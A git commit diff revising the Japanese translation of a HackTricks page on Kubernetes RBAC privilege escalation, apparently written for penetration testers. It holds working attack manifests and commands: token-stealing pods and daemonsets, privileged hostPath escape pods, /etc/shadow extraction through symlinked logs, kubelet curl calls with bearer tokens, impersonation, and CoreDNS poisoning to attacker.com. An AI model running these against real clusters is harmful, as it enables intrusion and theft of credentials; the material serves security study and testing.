mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-01 10:35:06 -07:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
+132
-111
@@ -9,15 +9,15 @@
|
||||
|
||||
**異なる特権を持つ別のプリンシパルにアクセスする**技術を指します(Kubernetesクラスター内または外部クラウドへのアクセス)。Kubernetesでは、特権を昇格させるための**4つの主要な技術**があります:
|
||||
|
||||
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つ他のユーザー/グループ/SAを**なりすます**ことができる
|
||||
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つSAを**見つけたり、アタッチしたりする**ことができる**ポッドを作成/パッチ/実行**できる
|
||||
- SAのトークンがシークレットとして保存されているため、**シークレットを読む**ことができる
|
||||
- コンテナからノードに**エスケープ**できる場合、ノードで実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる
|
||||
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つ他のユーザー/グループ/サービスアカウントを**なりすます**ことができる
|
||||
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つサービスアカウントを**見つけたり、アタッチしたりする**ことができる**ポッドを作成/パッチ/実行**できる
|
||||
- サービスアカウントのトークンがシークレットとして保存されているため、**シークレットを読む**ことができる
|
||||
- コンテナからノードに**エスケープ**できる場合、ノード上で実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる
|
||||
- 言及に値する5番目の技術は、ポッド内で**ポートフォワードを実行**する能力です。これにより、そのポッド内の興味深いリソースにアクセスできる可能性があります。
|
||||
|
||||
### 任意のリソースまたは動詞へのアクセス(ワイルドカード)
|
||||
|
||||
**ワイルドカード(*)は、任意の動詞を持つ任意のリソースに対する権限を与えます**。これは管理者によって使用されます。ClusterRole内では、攻撃者がクラスター内のanynamespaceを悪用できることを意味します。
|
||||
**ワイルドカード(*)は、任意の動詞を持つ任意のリソースに対する権限を与えます**。これは管理者によって使用されます。ClusterRole内では、攻撃者がクラスター内の任意の名前空間を悪用できることを意味します。
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -34,7 +34,7 @@ verbs: ["*"]
|
||||
RBACでは、特定の権限が重大なリスクをもたらします:
|
||||
|
||||
1. **`create`:** 任意のクラスターリソースを作成する能力を付与し、特権昇格のリスクを伴います。
|
||||
2. **`list`:** すべてのリソースを一覧表示することを許可し、機密データが漏洩する可能性があります。
|
||||
2. **`list`:** すべてのリソースをリストすることを許可し、機密データが漏洩する可能性があります。
|
||||
3. **`get`:** サービスアカウントからシークレットにアクセスすることを許可し、セキュリティの脅威をもたらします。
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
権限を持つ攻撃者がポッドを作成できる場合、特権のあるサービスアカウントをポッドにアタッチし、そのトークンを盗んでサービスアカウントを偽装することができます。これにより、権限が効果的に昇格します。
|
||||
権限を持つ攻撃者がポッドを作成できる場合、特権のあるサービスアカウントをポッドにアタッチし、そのトークンを盗んでサービスアカウントを偽装することができます。これにより、権限が実質的に昇格します。
|
||||
|
||||
`bootstrap-signer`サービスアカウントのトークンを盗み、攻撃者に送信するポッドの例:
|
||||
```yaml
|
||||
@@ -74,11 +74,11 @@ hostNetwork: true
|
||||
```
|
||||
### Podの作成とエスケープ
|
||||
|
||||
以下は、コンテナが持つ可能性のあるすべての特権を示しています:
|
||||
以下は、コンテナが持つことができるすべての権限を示しています:
|
||||
|
||||
- **特権アクセス**(保護を無効にし、能力を設定する)
|
||||
- **namespace hostIPCおよびhostPidを無効にする** これにより特権を昇格させることができます
|
||||
- **hostNetwork** namespaceを無効にし、ノードのクラウド特権を盗むためのアクセスとネットワークへのより良いアクセスを提供します
|
||||
- **namespace hostIPCおよびhostPidを無効にする** これにより権限を昇格させることができます
|
||||
- **hostNetwork** namespaceを無効にし、ノードのクラウド権限を盗むためのアクセスとネットワークへのより良いアクセスを提供します
|
||||
- **ホストをコンテナ内にマウントする**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
@@ -115,7 +115,7 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
ポッドを作成するには:
|
||||
ポッドを作成するには:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
@@ -127,7 +127,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
|
||||
#### ステルス
|
||||
|
||||
おそらく、あなたは**ステルス性**を高めたいと思っているでしょう。次のページでは、前のテンプレートで言及された特権の一部を有効にしてポッドを作成した場合にアクセスできる内容を確認できます。
|
||||
おそらく、あなたは**ステルス性**を高めたいと思っているでしょう。次のページでは、前のテンプレートで言及された特権の一部を有効にするだけでポッドを作成した場合にアクセスできる内容を確認できます。
|
||||
|
||||
- **特権 + hostPID**
|
||||
- **特権のみ**
|
||||
@@ -136,7 +136,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_前述の特権ポッド構成を作成/悪用する方法の例は_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) で見つけることができます。
|
||||
_前述の特権ポッド構成を作成/悪用する方法の例は_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _で見つけることができます。_
|
||||
|
||||
### ポッド作成 - クラウドに移動
|
||||
|
||||
@@ -151,9 +151,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **デプロイメント、デーモンセット、ステートフルセット、レプリケーションコントローラー、レプリカセット、ジョブ、クロンジョブの作成/パッチ**
|
||||
|
||||
これらの権限を悪用して**新しいポッドを作成**し、前の例のように特権を確立することが可能です。
|
||||
これらの権限を悪用して、**新しいポッドを作成**し、前の例のように特権を確立することが可能です。
|
||||
|
||||
次のyamlは**デーモンセットを作成し、ポッド内のSAのトークンを外部に送信**します。
|
||||
次のyamlは**デーモンセットを作成し、ポッド内のSAのトークンを抽出**します。
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -197,21 +197,26 @@ path: /
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> デフォルトでは、コマンドはポッドの最初のコンテナで実行されます。`kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`を使用して**コンテナ内のすべてのポッドを取得**し、次に`kubectl exec -it <pod_name> -c <container_name> -- sh`を使用して**実行したいコンテナを指定**します。
|
||||
|
||||
もしそれがディストロレスコンテナであれば、**シェルビルトイン**を使用してコンテナの情報を取得したり、**busybox**のような自分のツールをアップロードすることを試みることができます。使用方法は、**`kubectl cp </path/local/file> <podname>:</path/in/container>`**です。
|
||||
|
||||
### port-forward
|
||||
|
||||
この権限は、**指定されたポッド内の1つのポートに1つのローカルポートを転送する**ことを許可します。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はこれを悪用して、ポッド内の興味深い(データベースなど)または脆弱なアプリケーション(ウェブなど)にアクセスする可能性があります。
|
||||
```
|
||||
この権限は、**ローカルの1つのポートを指定されたポッドの1つのポートに転送**することを許可します。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はこれを悪用して、ポッド内の興味深い(データベースなど)または脆弱なアプリケーション(ウェブ?)にアクセスする可能性があります。
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### ホストの書き込み可能な /var/log/ エスケープ
|
||||
|
||||
[**この研究で示されているように**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、**ホストの `/var/log/` ディレクトリがマウントされた**ポッドにアクセスまたは作成できる場合、**コンテナからエスケープする**ことができます。\
|
||||
これは基本的に、**Kube-APIがコンテナのログを取得しようとする際**(`kubectl logs <pod>`を使用)、ポッドの`0.log`ファイルを**Kubelet**サービスの`/logs/`エンドポイントを使用して**要求するためです**。\
|
||||
Kubeletサービスは`/logs/`エンドポイントを公開しており、これは基本的に**コンテナの`/var/log`ファイルシステムを公開している**だけです。
|
||||
[**この研究で示されているように**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、**ホストの `/var/log/` ディレクトリがマウントされた**ポッドにアクセスまたは作成できる場合、**コンテナからエスケープ**することができます。\
|
||||
これは基本的に、**Kube-APIがコンテナのログを取得しようとする際**(`kubectl logs <pod>`を使用)、**ポッドの `0.log`** ファイルを**Kubelet**サービスの`/logs/`エンドポイントを使用してリクエストするためです。\
|
||||
Kubeletサービスは、基本的に**コンテナの `/var/log` ファイルシステムを公開する**`/logs/`エンドポイントを公開しています。
|
||||
|
||||
したがって、**コンテナの /var/log/ フォルダーに書き込むアクセス権を持つ攻撃者**は、この動作を2つの方法で悪用することができます:
|
||||
|
||||
- コンテナの`0.log`ファイル(通常は`/var/logs/pods/namespace_pod_uid/container/0.log`にあります)を**`/etc/shadow`を指すシンボリックリンク**に変更します。そうすれば、次のようにしてホストのシャドウファイルを抽出することができます:
|
||||
- コンテナの `0.log` ファイル(通常は `/var/logs/pods/namespace_pod_uid/container/0.log` にあります)を**`/etc/shadow`**を指す**シンボリックリンク**に変更します。そうすれば、次のようにしてホストのシャドウファイルを抽出できるようになります:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -219,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- 攻撃者が **`nodes/log` を読む権限を持つ任意のプリンシパルを制御している場合**、彼は単に `/host-mounted/var/log/sym` に **シンボリックリンク** を作成し、**`https://<gateway>:10250/logs/sym/` にアクセスすることでホストのルート** ファイルシステムをリスト表示することができます(シンボリックリンクを変更することでファイルへのアクセスが可能になります)。
|
||||
- 攻撃者が **`nodes/log` を読む権限を持つ任意のプリンシパルを制御している場合**、彼は単に `/host-mounted/var/log/sym` に `/` への **シンボリックリンク** を作成し、**`https://<gateway>:10250/logs/sym/` にアクセスすることでホストのルート** ファイルシステムをリスト表示することができます(シンボリックリンクを変更することでファイルへのアクセスが可能になります)。
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -233,7 +238,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
```
|
||||
**実験室と自動化されたエクスプロイトは** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) **にあります。**
|
||||
|
||||
#### 読み取り専用保護のバイパス <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### 読み取り専用保護の回避 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
運が良ければ、高度な特権を持つ能力 `CAP_SYS_ADMIN` が利用可能であれば、フォルダーをrwとして再マウントすることができます:
|
||||
```bash
|
||||
@@ -247,7 +252,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
ホストパスマウントの代わりに、PersistentVolumeとPersistentVolumeClaimを使用して、書き込み可能なアクセスでコンテナ内にホストフォルダをマウントすることで、前述のようなエスケープを防ぐことを目的としていました。
|
||||
以前のようなエスケープを防ぐために、hostPath マウントの代わりに PersistentVolume と PersistentVolumeClaim を使用して、書き込み可能なアクセスでコンテナ内にホストフォルダをマウントすることを意図していました。
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -295,14 +300,14 @@ name: task-pv-storage-vol
|
||||
```
|
||||
### **特権アカウントのなりすまし**
|
||||
|
||||
[**ユーザーのなりすまし**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 権限を持つ攻撃者は、特権アカウントになりすますことができます。
|
||||
[**ユーザーのなりすまし**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation)の権限を持つ攻撃者は、特権アカウントになりすますことができます。
|
||||
|
||||
`kubectl` コマンドで `--as=<username>` パラメータを使用してユーザーになりすますか、`--as-group=<group>` を使用してグループになりすますだけです:
|
||||
`kubectl` コマンドで `--as=<username>` パラメータを使用してユーザーになりすますか、`--as-group=<group>` を使用してグループになりすますことができます:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
またはREST APIを使用します:
|
||||
またはREST APIを使用します:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -310,16 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### シークレットのリスト
|
||||
### Secretsのリスト
|
||||
|
||||
**シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを許可する可能性があります** REST API エンドポイントにアクセスすることで:
|
||||
**シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを許可する可能性があります** REST APIエンドポイントにアクセスすることで:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### シークレットの作成と読み取り
|
||||
|
||||
**kubernetes.io/service-account-token** タイプの特別な種類の Kubernetes シークレットがあり、サービスアカウントトークンを保存します。
|
||||
シークレットを作成および読み取る権限があり、サービスアカウントの名前も知っている場合、次のようにシークレットを作成し、そこから被害者のサービスアカウントトークンを盗むことができます:
|
||||
**kubernetes.io/service-account-token** タイプの特別な種類のKubernetesシークレットがあり、サービスアカウントトークンを保存します。
|
||||
シークレットを作成および読み取る権限があり、サービスアカウントの名前も知っている場合、次のようにシークレットを作成し、そこから被害者のサービスアカウントトークンを盗むことができます:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -330,7 +335,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
例の悪用:
|
||||
例の悪用:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -384,15 +389,15 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
|
||||
読み取り権限を持つトークンを所持している攻撃者は、それを使用するためにシークレットの正確な名前が必要ですが、より広範な _**シークレットのリスト表示**_ 権限とは異なり、依然として脆弱性があります。システム内のデフォルトのサービスアカウントは列挙可能で、それぞれがシークレットに関連付けられています。これらのシークレットは、静的なプレフィックスの後にランダムな5文字の英数字トークン(特定の文字を除く)を持つ名前の構造を持っています。[ソースコード](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)によると。
|
||||
|
||||
トークンは、フルアルファベット範囲ではなく、限られた27文字のセット(`bcdfghjklmnpqrstvwxz2456789`)から生成されます。この制限により、可能な組み合わせの総数は14,348,907(27^5)に減少します。したがって、攻撃者は数時間でトークンを推測するためのブルートフォース攻撃を実行することが現実的であり、機密性の高いサービスアカウントにアクセスすることによって特権の昇格につながる可能性があります。
|
||||
トークンは、フルアルファベット範囲ではなく、限られた27文字のセット(`bcdfghjklmnpqrstvwxz2456789`)から生成されます。この制限により、合計可能な組み合わせは14,348,907(27^5)に減少します。したがって、攻撃者は数時間でトークンを推測するためのブルートフォース攻撃を実行することが現実的であり、機密性の高いサービスアカウントにアクセスすることによって特権の昇格につながる可能性があります。
|
||||
|
||||
### 証明書署名要求
|
||||
|
||||
リソース `certificatesigningrequests` に **`create`** の動詞がある場合(または少なくとも `certificatesigningrequests/nodeClient` にある場合)、**新しいノードの**新しいCeSRを**作成**できます。
|
||||
リソース `certificatesigningrequests` に **`create`** の動詞がある場合(または少なくとも `certificatesigningrequests/nodeClient` にある場合)、**新しいノードの** 新しいCeSRを **作成** できます。
|
||||
|
||||
[ドキュメントによると、これらの要求を自動承認することが可能です](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)ので、その場合は**追加の権限は必要ありません**。そうでない場合、要求を承認できる必要があり、これは `certificatesigningrequests/approval` での更新と、リソース名 `<signerNameDomain>/<signerNamePath>` または `<signerNameDomain>/*` での `signers` での承認を意味します。
|
||||
[ドキュメントによると、この要求を自動承認することが可能です](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)ので、その場合は **追加の権限は必要ありません**。そうでない場合、要求を承認できる必要があり、これは `certificatesigningrequests/approval` の更新と、リソース名 `<signerNameDomain>/<signerNamePath>` または `<signerNameDomain>/*` での `signers` の承認を意味します。
|
||||
|
||||
必要なすべての権限を持つ**ロールの例**は次のとおりです:
|
||||
必要なすべての権限を持つ **ロールの例** は次のとおりです:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -426,16 +431,16 @@ verbs:
|
||||
新しいノードCSRが承認されたので、ノードの特別な権限を**悪用**して**秘密を盗み**、**権限を昇格**させることができます。
|
||||
|
||||
[**この投稿**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)と[**こちら**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)では、GKE K8s TLSブートストラップ構成が**自動署名**で設定されており、新しいK8sノードの資格情報を生成するために悪用され、その後それを使用して秘密を盗むことで権限を昇格させます。\
|
||||
**前述の権限を持っていれば、同じことができます**。最初の例では、新しいノードがコンテナ内の秘密にアクセスするのを防ぐエラーを回避しています。なぜなら、**ノードは自分にマウントされたコンテナの秘密にしかアクセスできないからです。**
|
||||
**言及された権限を持っていれば、同じことができます**。最初の例は、新しいノードがコンテナ内の秘密にアクセスするのを防ぐエラーを回避しています。なぜなら、**ノードは自分にマウントされたコンテナの秘密にしかアクセスできないからです。**
|
||||
|
||||
これを回避する方法は、**興味のある秘密がマウントされているコンテナのノード名のノード資格情報を作成すること**です(ただし、最初の投稿での方法を確認してください):
|
||||
これを回避する方法は、**興味のある秘密がマウントされているコンテナのノード名のノード資格情報を作成することです**(ただし、最初の投稿での方法を確認してください):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
EKS(AWS内にいる必要があります)クラスターのkube-system名前空間で**`configmaps`**を変更できるプリンシパルは、**aws-auth** configmapを上書きすることでクラスター管理者権限を取得できます。\
|
||||
必要な動詞は**`update`**と**`patch`**、またはconfigmapが作成されていない場合は**`create`**です:
|
||||
EKS クラスターの kube-system 名前空間で **`configmaps`** を変更できるプリンシパルは、**aws-auth** configmap を上書きすることでクラスター管理者権限を取得できます。\
|
||||
必要な動詞は **`update`** と **`patch`** であり、configmap が作成されていない場合は **`create`** です:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -478,56 +483,96 @@ groups:
|
||||
> **`aws-auth`**を使用して、**他のアカウント**のユーザーにアクセスを提供することで**持続性**を確保できます。
|
||||
>
|
||||
> ただし、`aws --profile other_account eks update-kubeconfig --name <cluster-name>`は**異なるアカウントからは機能しません**。しかし、実際には`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`は、名前の代わりにクラスターのARNを指定すれば機能します。\
|
||||
> `kubectl`を機能させるには、**被害者のkubeconfigを設定**し、aws exec argsに`--profile other_account_role`を追加するだけで、kubectlは他のアカウントのプロファイルを使用してトークンを取得し、AWSに連絡します。
|
||||
> `kubectl`を機能させるには、**被害者のkubeconfig**を**構成**し、aws exec argsに`--profile other_account_role`を追加するだけで、kubectlは他のアカウントのプロファイルを使用してトークンを取得し、AWSに連絡します。
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
`kube-system`ネームスペース内の**`coredns` configmap**を変更する権限がある場合、ドメインが解決されるアドレスを変更して、**機密情報を盗むまたは悪意のあるコンテンツを注入する**ためのMitM攻撃を実行できます。
|
||||
|
||||
必要な動詞は**`update`**と**`patch`**で、**`coredns`** configmap(またはすべてのconfig map)に対して使用します。
|
||||
|
||||
通常の**corednsファイル**には、次のような内容が含まれています:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
.:53 {
|
||||
log
|
||||
errors
|
||||
health {
|
||||
lameduck 5s
|
||||
}
|
||||
ready
|
||||
kubernetes cluster.local in-addr.arpa ip6.arpa {
|
||||
pods insecure
|
||||
fallthrough in-addr.arpa ip6.arpa
|
||||
ttl 30
|
||||
}
|
||||
prometheus :9153
|
||||
hosts {
|
||||
192.168.49.1 host.minikube.internal
|
||||
fallthrough
|
||||
}
|
||||
forward . /etc/resolv.conf {
|
||||
max_concurrent 1000
|
||||
}
|
||||
cache 30
|
||||
loop
|
||||
reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
攻撃者は `kubectl get configmap coredns -n kube-system -o yaml` を実行してダウンロードし、`rewrite name victim.com attacker.com` のようなものを追加して修正することで、`victim.com` にアクセスされると実際には `attacker.com` がアクセスされるようにできます。そして、`kubectl apply -f poison_dns.yaml` を実行して適用します。
|
||||
|
||||
別のオプションは、`kubectl edit configmap coredns -n kube-system` を実行してファイルを編集し、変更を加えることです。
|
||||
|
||||
### GKEでの権限昇格
|
||||
|
||||
**GCPのプリンシパルにK8sの権限を割り当てる方法は2つあります**。いずれの場合も、プリンシパルはクラスターにアクセスするための資格情報を取得するために**`container.clusters.get`**の権限が必要です。そうでなければ、**自分自身のkubectl設定ファイルを生成する必要があります**(次のリンクを参照)。
|
||||
**GCPプリンシパルにK8s権限を割り当てる方法は2つあります**。いずれの場合も、プリンシパルはクラスターにアクセスするための資格情報を取得するために **`container.clusters.get`** の権限が必要です。そうでなければ、**自分のkubectl設定ファイルを生成する必要があります**(次のリンクを参照)。
|
||||
|
||||
> [!WARNING]
|
||||
> K8s APIエンドポイントに話しかけると、**GCP認証トークンが送信されます**。その後、GCPはK8s APIエンドポイントを通じて、最初に**プリンシパル**(メールアドレスによる)が**クラスター内にアクセス権を持っているかどうかを確認し**、次に**GCP IAMを介してアクセス権を持っているかどうかを確認します**。\
|
||||
> もし**いずれか**が**真**であれば、**応答**されます。そうでなければ、**GCP IAMを介して権限を与える**ことを提案する**エラー**が表示されます。
|
||||
> もし**いずれか**が**真**であれば、**応答**が返されます。そうでなければ、**GCP IAMを介して権限を与える**ことを提案する**エラー**が表示されます。
|
||||
|
||||
最初の方法は**GCP IAM**を使用することで、K8sの権限には**同等のGCP IAM権限**があります。プリンシパルがそれを持っていれば、使用できるようになります。
|
||||
最初の方法は**GCP IAM**を使用することで、K8s権限には**対応するGCP IAM権限**があります。プリンシパルがそれを持っていれば、使用することができます。
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
2つ目の方法は、**クラスター内でK8sの権限を割り当てる**ことで、ユーザーをその**メールアドレス**で識別します(GCPサービスアカウントを含む)。
|
||||
2つ目の方法は、**クラスター内でK8s権限を割り当てる**ことで、ユーザーをその**メール**で識別します(GCPサービスアカウントを含む)。
|
||||
|
||||
### サービスアカウントトークンの作成
|
||||
|
||||
**TokenRequests**(`serviceaccounts/token`)を**作成**できるプリンシパルは、K8s APIエンドポイントに話しかけることができます(情報は[**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))。
|
||||
**TokenRequests**(`serviceaccounts/token`)を**作成**できるプリンシパルは、K8s APIエンドポイントに話しかけるとSAs(情報は[**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))です。
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
**`update`**または**`patch`**の**`pods/ephemeralcontainers`**を持つプリンシパルは、**他のポッドでコード実行を得る**ことができ、特権のsecurityContextを持つ一時的なコンテナを追加することで**ノードから抜け出す**可能性があります。
|
||||
**`update`** または **`patch`** **`pods/ephemeralcontainers`** を行うことができるプリンシパルは、**他のポッドでコード実行を得る**ことができ、特権のあるsecurityContextを持つ一時的なコンテナを追加することで**ノードから抜け出す**可能性があります。
|
||||
|
||||
### ValidatingWebhookConfigurationsまたはMutatingWebhookConfigurations
|
||||
|
||||
`validatingwebhookconfigurations`または`mutatingwebhookconfigurations`に対して`create`、`update`、または`patch`のいずれかの動詞を持つプリンシパルは、**権限を昇格させるためにそのようなwebhookconfigurationsの1つを作成できる**可能性があります。
|
||||
`validatingwebhookconfigurations` または `mutatingwebhookconfigurations` に対して `create`、`update`、または `patch` のいずれかの動詞を持つプリンシパルは、**権限を昇格させるためにそのようなwebhookconfigurationsの1つを作成できる**可能性があります。
|
||||
|
||||
[`mutatingwebhookconfigurations`の例については、この投稿のこのセクションを確認してください](#malicious-admission-controller)。
|
||||
[`mutatingwebhookconfigurations`の例はこの投稿のこのセクションを確認してください](#malicious-admission-controller)。
|
||||
|
||||
### 権限昇格
|
||||
### 昇格
|
||||
|
||||
次のセクションで読むことができるように:[**組み込みの特権昇格防止**](#built-in-privileged-escalation-prevention)、プリンシパルは新しい権限を持たずにロールやクラスターのロールを更新または作成することはできません。**`roles`**または**`clusterroles`**に対して**動詞`escalate`**を持っている場合を除いて。\
|
||||
その場合、彼はより良い権限を持つ新しいロールやクラスターのロールを更新/作成できます。
|
||||
次のセクションで読むことができるように: [**組み込みの特権昇格防止**](#built-in-privileged-escalation-prevention)、プリンシパルは新しい権限を持たずに役割やクラスター役割を更新または作成することはできません。**`roles`** または **`clusterroles`** に対して **`escalate` または `*`** の動詞を持っている場合を除き、そしてそれに対応するバインディングオプションが必要です。\
|
||||
その場合、彼はより良い権限を持つ新しい役割やクラスター役割を更新/作成できます。
|
||||
|
||||
### ノードプロキシ
|
||||
|
||||
**`nodes/proxy`**サブリソースにアクセスできるプリンシパルは、Kubelet APIを介して**ポッドでコードを実行**できます([**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)を参照)。Kubelet認証に関する詳細情報はこのページにあります:
|
||||
**`nodes/proxy`** サブリソースにアクセスできるプリンシパルは、Kubelet APIを介して**ポッドでコードを実行**できます([**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)に従って)。Kubelet認証に関する詳細はこのページにあります:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
[**Kubelet APIに認証された状態でRCEを取得する方法の例はこちら**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
[**Kubelet APIに認可された状態でRCEを取得する方法の例はここにあります**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
|
||||
### ポッドの削除 + スケジュール不可ノード
|
||||
|
||||
**ポッドを削除**できるプリンシパル(`pods`リソースに対する`delete`動詞)、または**ポッドを追い出す**(`pods/eviction`リソースに対する`create`動詞)、または**ポッドの状態を変更**できる(`pods/status`へのアクセス)と、**他のノードをスケジュール不可にする**ことができる(`nodes/status`へのアクセス)か、**ノードを削除**できる(`nodes`リソースに対する`delete`動詞)場合、ポッドを制御していると、**他のノードからポッドを盗む**ことができ、**侵害された****ノード**で**実行され**、攻撃者はそれらのポッドから**トークンを盗む**ことができます。
|
||||
**ポッドを削除**できるプリンシパル(`pods`リソースに対する`delete`動詞)、または**ポッドを追い出す**(`pods/eviction`リソースに対する`create`動詞)、または**ポッドの状態を変更**できる(`pods/status`へのアクセス)プリンシパルは、**他のノードをスケジュール不可にする**(`nodes/status`へのアクセス)または**ノードを削除**できる(`nodes`リソースに対する`delete`動詞)場合、ポッドを制御していると、**他のノードからポッドを盗む**ことができ、**侵害された** **ノード**で**実行される**ことになり、攻撃者はそれらのポッドから**トークンを盗む**ことができます。
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -540,19 +585,19 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### サービスのステータス (CVE-2020-8554)
|
||||
|
||||
**`services/status`** を **修正** できるプリンシパルは、`status.loadBalancer.ingress.ip` フィールドを設定して **未修正の CVE-2020-8554** を悪用し、**クラスターに対する MiTM 攻撃** を開始することができます。CVE-2020-8554 に対するほとんどの緩和策は、ExternalIP サービスを防ぐだけです([**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) による)。
|
||||
